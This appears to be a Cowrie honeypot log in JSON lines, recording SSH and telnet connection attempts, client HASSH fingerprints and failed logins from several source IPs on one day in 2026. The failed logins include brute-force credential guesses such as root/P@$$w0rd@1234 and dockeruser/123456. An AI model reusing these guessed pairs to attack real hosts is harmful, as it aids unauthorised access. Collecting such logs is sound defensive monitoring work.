{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:50:04.964538Z","src_ip":"20.160.86.7","session":"0e7a9673cd5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dockeruser","password":"123456","message":"login attempt [dockeruser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:50:05.324760Z","src_ip":"20.160.86.7","session":"0e7a9673cd5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:50:06.411278Z","src_ip":"20.160.86.7","session":"0e7a9673cd5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.209.58","src_port":52082,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea9c261d4eea","protocol":"ssh","message":"New connection: 123.58.209.58:52082 (159.203.135.109:22) [session: ea9c261d4eea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:50:13.015455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:50:13.021610Z","src_ip":"123.58.209.58","session":"ea9c261d4eea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:50:13.238677Z","src_ip":"123.58.209.58","session":"ea9c261d4eea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"j","message":"login attempt [root/j] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:50:14.150326Z","src_ip":"123.58.209.58","session":"ea9c261d4eea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.147.30.59","src_port":38286,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4a4c5260636","protocol":"ssh","message":"New connection: 88.147.30.59:38286 (10.17.0.5:22) [session: e4a4c5260636]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:50:15.068970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:50:15.074654Z","src_ip":"88.147.30.59","session":"e4a4c5260636","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:50:15.190439Z","src_ip":"88.147.30.59","session":"e4a4c5260636","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:50:15.374996Z","src_ip":"123.58.209.58","session":"ea9c261d4eea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@$$w0rd@1234","message":"login attempt [root/P@$$w0rd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:50:15.673843Z","src_ip":"88.147.30.59","session":"e4a4c5260636","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:50:16.794948Z","src_ip":"88.147.30.59","session":"e4a4c5260636","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.156.21","src_port":55472,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf05b126b7cf","protocol":"ssh","message":"New connection: 101.47.156.21:55472 (10.17.0.5:22) [session: cf05b126b7cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:50:20.585037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:50:20.590194Z","src_ip":"101.47.156.21","session":"cf05b126b7cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:50:20.831161Z","src_ip":"101.47.156.21","session":"cf05b126b7cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qf123456!","message":"login attempt [root/Qf123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:50:21.822863Z","src_ip":"101.47.156.21","session":"cf05b126b7cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:50:23.112358Z","src_ip":"101.47.156.21","session":"cf05b126b7cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.018320083618164,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:50:24.031240Z","src_ip":"69.4.83.194","session":"3c166aad45a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":69.71741652488708,"message":"Connection lost after 69 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:50:39.813806Z","src_ip":"178.128.93.180","session":"0e271288281f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":72.48414969444275,"message":"Connection lost after 72 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:50:45.795303Z","src_ip":"178.128.93.180","session":"96a853d37fe9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.191.77.164","src_port":56498,"dst_ip":"10.17.0.5","dst_port":22,"session":"252404ca7ac3","protocol":"ssh","message":"New connection: 182.191.77.164:56498 (10.17.0.5:22) [session: 252404ca7ac3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:50:55.211796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:50:55.217280Z","src_ip":"182.191.77.164","session":"252404ca7ac3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:50:55.442487Z","src_ip":"182.191.77.164","session":"252404ca7ac3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user1234","message":"login attempt [user/user1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:50:56.369583Z","src_ip":"182.191.77.164","session":"252404ca7ac3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:50:57.597060Z","src_ip":"182.191.77.164","session":"252404ca7ac3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":55060,"dst_ip":"10.17.0.5","dst_port":23,"session":"53494cf34c55","protocol":"telnet","message":"New connection: 178.128.93.180:55060 (10.17.0.5:23) [session: 53494cf34c55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:51:13.663318Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.25.47.94","src_port":38496,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7c25dfe9eb8","protocol":"ssh","message":"New connection: 103.25.47.94:38496 (159.203.135.109:22) [session: a7c25dfe9eb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:51:20.144095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:51:20.149354Z","src_ip":"103.25.47.94","session":"a7c25dfe9eb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:51:20.403938Z","src_ip":"103.25.47.94","session":"a7c25dfe9eb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"j","message":"login attempt [root/j] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:51:21.448851Z","src_ip":"103.25.47.94","session":"a7c25dfe9eb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:51:22.709320Z","src_ip":"103.25.47.94","session":"a7c25dfe9eb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":58536,"dst_ip":"159.203.135.109","dst_port":23,"session":"183b501866a6","protocol":"telnet","message":"New connection: 69.4.83.194:58536 (159.203.135.109:23) [session: 183b501866a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:51:22.761472Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.160.86.7","src_port":45984,"dst_ip":"10.17.0.5","dst_port":22,"session":"55ce99d28a27","protocol":"ssh","message":"New connection: 20.160.86.7:45984 (10.17.0.5:22) [session: 55ce99d28a27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:51:35.530821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:51:35.535337Z","src_ip":"20.160.86.7","session":"55ce99d28a27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:51:35.617008Z","src_ip":"20.160.86.7","session":"55ce99d28a27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3R4","message":"login attempt [root/q1w2e3R4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:51:35.976351Z","src_ip":"20.160.86.7","session":"55ce99d28a27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:51:37.061632Z","src_ip":"20.160.86.7","session":"55ce99d28a27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.209.58","src_port":47882,"dst_ip":"159.203.135.109","dst_port":22,"session":"2333f6e28069","protocol":"ssh","message":"New connection: 123.58.209.58:47882 (159.203.135.109:22) [session: 2333f6e28069]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:51:39.466087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:51:39.470725Z","src_ip":"123.58.209.58","session":"2333f6e28069","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:51:39.691207Z","src_ip":"123.58.209.58","session":"2333f6e28069","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"singh","password":"singh123","message":"login attempt [singh/singh123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:51:40.606341Z","src_ip":"123.58.209.58","session":"2333f6e28069","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:51:41.829939Z","src_ip":"123.58.209.58","session":"2333f6e28069","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":60792,"dst_ip":"10.17.0.5","dst_port":22,"session":"024c0d7ffb5a","protocol":"ssh","message":"New connection: 103.98.149.87:60792 (10.17.0.5:22) [session: 024c0d7ffb5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:51:46.545630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:51:46.612994Z","src_ip":"103.98.149.87","session":"024c0d7ffb5a","protocol":"ssh"}
